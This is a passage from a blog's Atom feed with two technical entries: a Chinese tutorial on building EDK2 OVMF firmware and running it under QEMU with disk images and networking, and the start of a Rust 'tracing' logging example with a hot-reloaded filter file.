        <id>https://vercel.juzhong.asia/obsidian/uefi之虚拟环境-ovmf-seabios-ovmf/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/uefi之虚拟环境-ovmf-seabios-ovmf/">&lt;h1 id=&quot;uefizhi-xu-ni-huan-jing-ovmf-seabios-ovmf&quot;&gt;UEFI之虚拟环境（OVMF）seabios --- ovmf&lt;&#x2F;h1&gt;
&lt;h4 id=&quot;gai-yao&quot;&gt;概要&lt;&#x2F;h4&gt;
&lt;p&gt;模拟器平台介绍 ：
一个仿真平台并不是一个实际的硬件平台 , 但它旨在证明 EDKII 核心模块的稳定性和独立于硬件可以开发模块。仿真平台和实际平台之间的差异是其加载器和仿真的硬件设备。
OvmfPkg 是基于qemu的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83&amp;amp;spm=1001.2101.3001.7020&quot;&gt;虚拟环境&lt;&#x2F;a&gt;，Linux 和 Windows都可以使用&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yuan-ma&quot;&gt;源码&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;tianocore&amp;#x2F;edk2.git
cd edk2
git submodule update --init
cd ..
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;qemu&quot;&gt;qemu&lt;&#x2F;h4&gt;
&lt;p&gt;需要安装qemu
&lt;code&gt;apt install qemu&lt;&#x2F;code&gt;
ubuntu 20.04
&lt;code&gt;apt install qemu-system-x86&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里主要讲一些启动系统时可以使用的参数：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;-m x：用来指定虚拟系统的内存大小，x是一个数字，单位是MB；&lt;&#x2F;li&gt;
&lt;li&gt;-bios x：用来指定使用的BIOS，默认使用的是seabios，也支持OVMF；&lt;&#x2F;li&gt;
&lt;li&gt;-serial stdio：用来指定串口的输出，这里就是输出的标准输出；&lt;&#x2F;li&gt;
&lt;li&gt;-hda：指定之前创建的虚拟盘；&lt;&#x2F;li&gt;
&lt;li&gt;-cdrom：指定了安装的系统镜像；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;制作挂载盘镜像
QEMU可以支持很多种文件格式，以qcow2和raw两种格式的镜像为例。需要特别注意的是，UEFI能识别到的文件系统类型比较有限，建议格式化镜像时都使用&lt;code&gt;VFAT&lt;&#x2F;code&gt;格式。注意这里的VFAT和前面说的qcow2和raw并不冲突，一个是镜像中的文件系统，一个是镜像的封装格式。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;qcow2格式的镜像文件（这个映射出来是BLK0：）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;sudo modprobe nbd max_part=16
qemu-img create -f qcow2 hda.img 10M  #创建qcow2虚拟盘
sudo qemu-nbd -c &amp;#x2F;dev&amp;#x2F;nbd0 ~&amp;#x2F;hda.img    #映射nbd设备
mkfs -t vfat &amp;#x2F;dev&amp;#x2F;nbd0                           #格式化该设备为vfat格式
sudo mount &amp;#x2F;dev&amp;#x2F;nbd0 &amp;#x2F;mnt&amp;#x2F;image        #挂载nbd设备
......（work in mnt dir）
sudo umount &amp;#x2F;mnt&amp;#x2F;image                       #卸载nbd设备
sudo qemu-nbd -d &amp;#x2F;dev&amp;#x2F;nbd0               #解除nbd映射
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;采用dd命令生成的镜像文件（raw镜像，这个映射出来是FS0:）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;dd if=&amp;#x2F;dev&amp;#x2F;zero of=~&amp;#x2F;hda.img bs=1 count=10M
mkfs -t vfat ~&amp;#x2F;hda.img
losetup &amp;#x2F;dev&amp;#x2F;loop0 ~&amp;#x2F;hda.img  #映射loop设备
sudo mount &amp;#x2F;dev&amp;#x2F;loop0 &amp;#x2F;mnt&amp;#x2F;image  #挂载loop设备
......（work in mnt dir）
umount &amp;#x2F;mnt&amp;#x2F;image              #卸载loop设备
losetup -d &amp;#x2F;dev&amp;#x2F;loop0           #解除loop映射
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;qemu 中使用虚拟硬盘&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-x86_64  -bios  &amp;quot;path&amp;#x2F;to&amp;#x2F;OVMF.fd&amp;quot; -hda hda.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;指定文件或文件夹映射
在Bios调试中映射镜像拷贝还需要挂载，比较麻烦，这里直接指定本地文件夹或文件进行映射&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-x86_64 -bios  &amp;quot;&amp;#x2F;path&amp;#x2F;OVMF.fd&amp;quot; -net none -hda fat:rw:&amp;#x2F;path&amp;#x2F;DEBUG_GCC5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;fat:rw:&lt;&#x2F;code&gt; 这个文件夹映射的关键
&lt;code&gt;path&lt;&#x2F;code&gt; 为绝对地址&lt;&#x2F;p&gt;
&lt;h4 id=&quot;bian-yi-huan-jing&quot;&gt;编译环境&lt;&#x2F;h4&gt;
&lt;p&gt;1.更新软件源，&lt;code&gt;sudo apt-get update&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;2.安装gcc4.8
&lt;code&gt;sudo apt-get install gcc-5 g++-5&lt;&#x2F;code&gt;
如果已经安装gcc，可以使用下面命令切换&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;添加
   sudo update-alternatives --install &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gcc gcc &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gcc-5 40
   sudo update-alternatives --install &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gcc gcc &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;gcc-7 50
切换
   sudo update-alternatives --config gcc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;3.安装nasm
&lt;code&gt;sudo apt-get install nasm&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;4.安装build
&lt;code&gt;sudo apt-get install build-essential uuid-dev&lt;&#x2F;code&gt;
sudo apt-get install iasl&lt;&#x2F;p&gt;
&lt;p&gt;5.安装python&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;       sudo apt-get install python
       sudo apt-get install python-pip
       sudo apt-get install python3-distutils
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;6.在edk根目录执行
&lt;code&gt;source edksetup.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;7.在 BaseTools目录下编译工具
make
建立完成后，试试看能否编译。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;source edksetup.sh
build -p MdeModulePkg&amp;#x2F;MdeModulePkg.dsc -t GCC5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;8.编译
OvmfPkg
&lt;code&gt;OvmfPkg&#x2F;build.sh&lt;&#x2F;code&gt;
或者编译32bit
&lt;code&gt;build -p OvmfPkg&#x2F;OvmfPkgIa32.dsc -t GCC5 -D SOURCE_DEBUG_ENABLE&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;SOURCE_DEBUG_ENABLE&lt;&#x2F;code&gt;是编译开关参数，dsc中有定义&lt;&#x2F;p&gt;
&lt;p&gt;9.运行&lt;&#x2F;p&gt;
&lt;p&gt;OvmfPkg:&lt;&#x2F;p&gt;
&lt;p&gt;执行命令：
&lt;code&gt;qemu-system-x86_64 -bios OVMF.fd&lt;&#x2F;code&gt;
没有UEFI的打印，为了能够有打印，首先需要添加编译选项并重新生成二进制
&lt;code&gt;build -p OvmfPkg&#x2F;OvmfPkgX64.dsc -a X64 -D DEBUG_ON_SERIAL_PORT&lt;&#x2F;code&gt;
用qemu运行时，需要加入新的参数：
&lt;code&gt;qemu-system-x86_64 -bios OVMF.fd -serial stdio&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;qemu-xia-ovmf-wang-luo&quot;&gt;qemu 下OVMF 网络&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;下载efi驱动
在Intel网站上下载E3522X2.EFI，这是网卡E1000的驱动，上一节中已经给出了下载地址。进入UEFI的编译目录，新建目录Intel3.5&#x2F;EFIX64，将E3522X2.EFI拷贝到这个目录下。
获取路径：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;194.116.247.242&#x2F;TRUSTER&#x2F;TRUSTER&quot;&gt;http:&#x2F;&#x2F;194.116.247.242&#x2F;TRUSTER&#x2F;TRUSTER&lt;&#x2F;a&gt;_SN4236&#x2F;Intel&#x2F;LAN&#x2F;v21.1&#x2F;APPS&#x2F;EFI&#x2F;EFIx64&#x2F;E3522X2.EFI&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p edk2&amp;#x2F;Intel3.5&amp;#x2F;EFIX64
cp E3522X2.EFI edk&amp;#x2F;edk2&amp;#x2F;Intel3.5&amp;#x2F;EFIX64&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;编译：
&lt;code&gt;build -p OvmfPkg&#x2F;OvmfPkgX64.dsc -a X64 -t GCC5 -b DEBUG -D E1000_ENABLE -D DEBUG_ON_SERIAL_PORT&lt;&#x2F;code&gt;
&lt;code&gt;E1000_ENABLE&lt;&#x2F;code&gt; 使能网卡，将efi驱动编译进去&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果不指定任何网络设置，Qemu将使用带有内置DHCP服务器的用户模式（user）网络。当虚拟机运行时，可设定为DHCP模式，它能够通过QEMU伪装的IP来访问物理主机的网络。
不过，这种情况下，能通信的仅限于TCP和UDP协议，因此ICMP协议(包括ping)将不起作用。因此，我们准备采用tap模式，使用桥接的方法，让虚拟机和外部通信起来。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;user 网络
user mode network :
这种方式实现虚拟机上网很简单，类似vmware里的nat，qemu启动时加入-user-net参数，虚拟机里使用dhcp方式，即可与互联网通信，但是这种方式虚拟机与主机的通信不方便。
用户模式网络允许访客通过TCP，UDP等连接回外部世界。不允许ICMP Ping。 此外，除非使用端口转发，否则不允许主机到访客的连接。
网络参数
&lt;code&gt;-netdev user,id=mynet0,hostfwd=tcp::8080-:80&lt;&#x2F;code&gt;
说明：创建ID为mynet0的用户模式网络后端。 将主机端口8080上的传入tcp连接重定向到访客端口80；
语法：hostfwd=[tcp|udp]:[hostaddr]:hostport-[guestaddr]:guestport&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;-device e1000,netdev=mynet0&lt;&#x2F;code&gt;
创建一个NIC（型号为e1000）并连接到由上一个参数创建的mynet0后端&lt;&#x2F;p&gt;
&lt;p&gt;整体的启动命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;qemu-system-x86_64 -bios &amp;quot;&amp;#x2F;home&amp;#x2F;zhubo&amp;#x2F;00_loongson&amp;#x2F;02-code&amp;#x2F;edk&amp;#x2F;edk2&amp;#x2F;Build&amp;#x2F;OvmfX64&amp;#x2F;DEBUG_GCC5&amp;#x2F;FV&amp;#x2F;OVMF.fd&amp;quot; -serial stdio -hda fat:rw:Build&amp;#x2F;AppPkg -netdev user,id=mynet0,hostfwd=tcp::8080-:80 -device e1000,netdev=mynet0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;具体可以查看这里：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;QEMU&quot;&gt;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;QEMU&lt;&#x2F;a&gt;_(%E7%AE%80%E4%BD%93%E4%B8%AD%E6%96%87)&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;tap 桥接
需要做个桥，再做个虚拟网卡，比较繁琐；
tap&#x2F;tun network :
这种方式要比user mode复杂一些，但是设置好后 虚拟机&amp;lt;–&amp;gt;互联网 虚拟机&amp;lt;–&amp;gt;主机 通信都很容易
这种方式设置上类似vmware的host-only,qemu使用tun&#x2F;tap设备在主机上增加一块虚拟网络设备(tun0),然后就可以象真实网卡一样配置它.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;bian-yi-apppkg&quot;&gt;编译AppPkg&lt;&#x2F;h4&gt;
&lt;p&gt;EDK2 中新版本的AppPkg 和 StdLib 是分出去的
在这里放着 https:&#x2F;&#x2F;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=github&amp;amp;spm=1001.2101.3001.7020&quot;&gt;github&lt;&#x2F;a&gt;.com&#x2F;tianocore&#x2F;edk2-libc.git
克隆到本地后将AppPkg、StdLib、StdLibPrivateInternalFiles 复制到edk2 的编译路径&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;编译
&lt;code&gt;build -a X64 -p AppPkg&#x2F;AppPkg.dsc -t GCC5&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;编译问题
Concatenation.c:34:21: error: implicit declaration of function ‘StrCat’&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;查看发现确实没有定义，发现如下patch删除了，&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;commit 9c1f455f5f0ee63ce080940bf974aac4fefe526b
Author: Shenglei Zhang &amp;lt;shenglei.zhang@intel.com&amp;gt;
Date:   Wed Aug 5 14:08:03 2020 +0800

    MdePkg: Remove code wrapped by DISABLE_NEW_DEPRECATED_INTERFACES

    REF: https:&amp;#x2F;&amp;#x2F;bugzilla.tianocore.org&amp;#x2F;show_bug.cgi?id=2777
    Code wrapped by DISABLE_NEW_DEPRECATED_INTERFACES is deprecated.
    So remove it.

    Cc: Michael D Kinney &amp;lt;michael.d.kinney@intel.com&amp;gt;
    Cc: Liming Gao &amp;lt;liming.gao@intel.com&amp;gt;
    Signed-off-by: Shenglei Zhang &amp;lt;shenglei.zhang@intel.com&amp;gt;
    Reviewed-by: Liming Gao &amp;lt;gaoliming@byosoft.com.cn&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最好的做法是将删除的文件恢复回来，找到上面patch的前一个patch，如下, 然后编译就没问题了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;git reset cc942105ede58a300ba46f3df0edfa86b3abd4dd MdePkg&amp;#x2F;Include&amp;#x2F;Library&amp;#x2F;BaseLib.h
git reset cc942105ede58a300ba46f3df0edfa86b3abd4dd MdePkg&amp;#x2F;Library&amp;#x2F;BaseLib&amp;#x2F;String.c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;wen-ti&quot;&gt;问题&lt;&#x2F;h4&gt;
&lt;p&gt;1、安装不了python3-distutils，提示无法定位&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;sudo vim &#x2F;etc&#x2F;apt&#x2F;sources.list&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;添加源：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;deb http:&amp;#x2F;&amp;#x2F;cn.archive.ubuntu.com&amp;#x2F;ubuntu bionic main multiverse restricted universe
deb http:&amp;#x2F;&amp;#x2F;cn.archive.ubuntu.com&amp;#x2F;ubuntu bionic-updates main multiverse restricted universe
deb http:&amp;#x2F;&amp;#x2F;cn.archive.ubuntu.com&amp;#x2F;ubuntu bionic-security main multiverse restricted universe
deb http:&amp;#x2F;&amp;#x2F;cn.archive.ubuntu.com&amp;#x2F;ubuntu bionic-proposed main multiverse restricted universe
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再执行如下指令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  sudo apt-get update
  sudo apt-get install python3-distutils
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;2、Trim.py: error: no such option: --asm-file
安装完如下3条命令问题就没有了，也不知道具体哪条解决的；&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pip install brotli
sudo apt install build-essential uuid-dev
sudo apt install acpica-tools
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;3、 在编译AppPkg和Demo时，出现如下问题：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ld: 并不支持从格式 pe-i386 (&amp;#x2F;edk2&amp;#x2F;Build&amp;#x2F;AppPkg&amp;#x2F;DEBUG_GCC5&amp;#x2F;IA32&amp;#x2F;StdLib&amp;#x2F;LibC&amp;#x2F;LibC&amp;#x2F;OUTPUT&amp;#x2F;LibC.lib(ftol2.obj)) 到格式 elf32-i386 (edk2&amp;#x2F;Build&amp;#x2F;AppPkg&amp;#x2F;DEBUG_GCC5&amp;#x2F;IA32&amp;#x2F;AppPkg&amp;#x2F;Applications&amp;#x2F;Sockets&amp;#x2F;SetHostName&amp;#x2F;SetHostName&amp;#x2F;DEBUG&amp;#x2F;SetHostName.dll) 的重寻址链结
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;是由于在ubuntu64上编译32位应用导致的，添加&lt;code&gt;-a X64&lt;&#x2F;code&gt;后正常了；&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;build -p AppPkg&amp;#x2F;AppPkg.dsc -t GCC5 -a X64
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;4、警告变error
可以在 Flags 加 &lt;code&gt;-Wno-error&lt;&#x2F;code&gt; 试试&lt;&#x2F;p&gt;
&lt;p&gt;5、编译报缺少东西，如&lt;code&gt;brotli&#x2F;c&#x2F;enc&#x2F;encoder_dict.o: 没有那个文件或目录&lt;&#x2F;code&gt;
&lt;code&gt;git submodule update --init&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Rust Tracing</title>
        <published>2024-06-24T00:00:00+00:00</published>
        <updated>2024-06-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rust-tracing/"/>
        <id>https://vercel.juzhong.asia/obsidian/rust-tracing/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rust-tracing/">&lt;h1 id=&quot;rust-tracing&quot;&gt;Rust Tracing&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;tracing-usage&quot;&gt;Tracing usage&lt;&#x2F;h2&gt;
&lt;p&gt;Tracing is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=Rust&amp;amp;spm=1001.2101.3001.7020&quot;&gt;Rust&lt;&#x2F;a&gt; log crate: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tokio-rs&#x2F;tracing&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;tokio-rs&#x2F;tracing&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This example code outputs log to stdout and a log file, using a log filter config file,
which can be automatically reloaded on change.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitee.com&#x2F;jinq0123&#x2F;tracing-example&quot;&gt;https:&#x2F;&#x2F;gitee.com&#x2F;jinq0123&#x2F;tracing-example&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dependencies&quot;&gt;Dependencies&lt;&#x2F;h3&gt;
&lt;p&gt;Add these dependencies to Cargo.toml:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[dependencies]
anyhow = &amp;quot;1.0.52&amp;quot;
hotwatch = &amp;quot;0.4.6&amp;quot;
tracing = &amp;quot;0.1.29&amp;quot;
tracing-appender = &amp;quot;0.2.0&amp;quot;
tracing-subscriber = { version = &amp;quot;0.3.5&amp;quot;, features = [ &amp;quot;env-filter&amp;quot;, &amp;quot;json&amp;quot; ] }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;main-rs&quot;&gt;main.rs&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;Rust&quot; class=&quot;language-Rust &quot;&gt;&lt;code class=&quot;language-Rust&quot; data-lang=&quot;Rust&quot;&gt;mod log;

use anyhow::Result;
use std::{thread, time::Duration};
use tracing::info;

fn main() -&amp;gt; Result&amp;lt;()&amp;gt; {
    let _guard = log::init(&amp;quot;.&amp;#x2F;log&amp;quot;, &amp;quot;example.log&amp;quot;, &amp;quot;config&amp;#x2F;log_filter.txt&amp;quot;)?;

    for i in 0..999 {
        info!(i, &amp;quot;Hello, world!&amp;quot;);
        thread::sleep(Duration::from_secs(1));
    }

    Ok(())
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;log-rs&quot;&gt;log.rs&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;Rust&quot; class=&quot;language-Rust &quot;&gt;&lt;code class=&quot;language-Rust&quot; data-lang=&quot;Rust&quot;&gt;&amp;#x2F;&amp;#x2F;! Init log.
&amp;#x2F;&amp;#x2F;!

use anyhow::{anyhow, Context as _, Result};
use hotwatch::{Event, Hotwatch};
use std::fs;
use std::path::Path;
use tracing::{debug, warn, Subscriber};
use tracing_appender::{non_blocking::WorkerGuard, rolling};
use tracing_subscriber::{fmt, layer::SubscriberExt, reload::Handle, EnvFilter};

&amp;#x2F;&amp;#x2F;&amp;#x2F; Inits log.
&amp;#x2F;&amp;#x2F;&amp;#x2F; Returns a WorkerGuard to ensure buffered logs are flushed,
&amp;#x2F;&amp;#x2F;&amp;#x2F;  and a Hotwatch to watch the log filter file.
pub fn init(
    directory: impl AsRef&amp;lt;Path&amp;gt;,
    file_name_prefix: impl AsRef&amp;lt;Path&amp;gt;,
    log_filter_file: impl AsRef&amp;lt;Path&amp;gt;,
) -&amp;gt; Result&amp;lt;(WorkerGuard, Hotwatch)&amp;gt; {
    let file_appender = rolling::daily(directory, file_name_prefix);
    let (non_blocking, worker_guard) = tracing_appender::non_blocking(file_appender);
    let file_layer = fmt::Layer::default()
        .with_writer(non_blocking)
        .json()
        .flatten_event(true)
        .with_ansi(false);

    let builder = tracing_subscriber::fmt()
        .pretty()
        .with_env_filter(EnvFilter::from_default_env())
        .with_filter_reloading();
    let handle = builder.reload_handle();
    let subscriber = builder.finish();
    let subscriber = subscriber.with(file_layer);
    tracing::subscriber::set_global_default(subscriber).context(&amp;quot;set global default subscriber&amp;quot;)?;

    reload_filter(handle.clone(), log_filter_file.as_ref());

    let log_filter_path_buf = log_filter_file.as_ref().to_path_buf();
    let mut hotwatch = Hotwatch::new().context(&amp;quot;hotwatch failed to initialize!&amp;quot;)?;
    hotwatch
        .watch(log_filter_file.as_ref(), move |event: Event| {
            debug!(&amp;quot;log filter file event: {:?}&amp;quot;, event);
            if let Event::Write(_) = event {
                reload_filter(handle.clone(), log_filter_path_buf.clone());
            }
        })
        .with_context(|| format!(&amp;quot;failed to watch file: {:?}&amp;quot;, log_filter_file.as_ref()))?;

    Ok((worker_guard, hotwatch))
}

fn reload_filter&amp;lt;S: Subscriber + &amp;#x27;static&amp;gt;(
    handle: Handle&amp;lt;EnvFilter, S&amp;gt;,
    log_filter_file: impl AsRef&amp;lt;Path&amp;gt;,
) {
    let res = try_reload_filter(handle, log_filter_file);
    match res {
        Ok(_) =&amp;gt; debug!(&amp;quot;reload log filter OK&amp;quot;),
        Err(e) =&amp;gt; warn!(&amp;quot;reload log filter error: {:?}&amp;quot;, e),
    }
}

fn try_reload_filter&amp;lt;S: Subscriber + &amp;#x27;static&amp;gt;(
    handle: Handle&amp;lt;EnvFilter, S&amp;gt;,
    log_filter_file: impl AsRef&amp;lt;Path&amp;gt;,
) -&amp;gt; Result&amp;lt;()&amp;gt; {
    let contents = fs::read_to_string(log_filter_file.as_ref()).with_context(|| {
        format!(
            &amp;quot;something went wrong reading the file: {:?}&amp;quot;,
            log_filter_file.as_ref()
        )
    })?;
    let contents = contents.trim();
    debug!(&amp;quot;reload log filter: {:?}&amp;quot;, contents);
    let new_filter = contents
        .parse::&amp;lt;EnvFilter&amp;gt;()
        .map_err(|e| anyhow!(e))
        .context(&amp;quot;failed to parse env filter&amp;quot;)?;
    handle.reload(new_filter).context(&amp;quot;handle reload error&amp;quot;)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;log-filter-txt&quot;&gt;log_filter.txt&lt;&#x2F;h3&gt;
&lt;p&gt;log_filter.txt is the configure file for log.
The change of this file will trigger the reload.&lt;&#x2F;p&gt;
&lt;p&gt;The log filter file must exist, otherwise it will be error:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Error: failed to watch file: &amp;quot;config&amp;#x2F;log_filter.txt&amp;quot;

Caused by:
    系统找不到指定的路径。 (os error 3)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The content of log_filter.txt is a single line of filter string.
A filter string consists of one or more comma-separated directives.
The &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=directive&amp;amp;spm=1001.2101.3001.7020&quot;&gt;directive&lt;&#x2F;a&gt; syntax is similar to &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;env_logger&#x2F;0.9.0&#x2F;env_logger&#x2F;#enabling-logging&quot;&gt;RUST_LOG env val of env_logger’s&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;target[span{field=value}]=level
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;See: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;tracing-subscriber&#x2F;latest&#x2F;tracing&quot;&gt;https:&#x2F;&#x2F;docs.rs&#x2F;tracing-subscriber&#x2F;latest&#x2F;tracing&lt;&#x2F;a&gt;_subscriber&#x2F;struct.EnvFilter.html&lt;&#x2F;p&gt;
&lt;h4 id=&quot;example&quot;&gt;Example&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;tracing_example&lt;&#x2F;code&gt; enables logs that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;target is modules of &lt;code&gt;tracing_example*&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;info&lt;&#x2F;code&gt; will enable logs that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;level is &lt;code&gt;info&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;tracing_ex=info&lt;&#x2F;code&gt; enables logs that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;target is modules of tracing_ex*&lt;&#x2F;li&gt;
&lt;li&gt;level is info or above&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;info,tracing_ex=debug&lt;&#x2F;code&gt; enables logs that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;level is info or above&lt;&#x2F;li&gt;
&lt;li&gt;or target is tracing_ex* and level is debug&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[foo]=trace&lt;&#x2F;code&gt; enables logs that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;within the span &lt;code&gt;foo&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;level is trace or above&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[span_b{name=\&quot;bob\&quot;}]&lt;&#x2F;code&gt; enables logs that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;have any target,&lt;&#x2F;li&gt;
&lt;li&gt;are inside a span named span_b,&lt;&#x2F;li&gt;
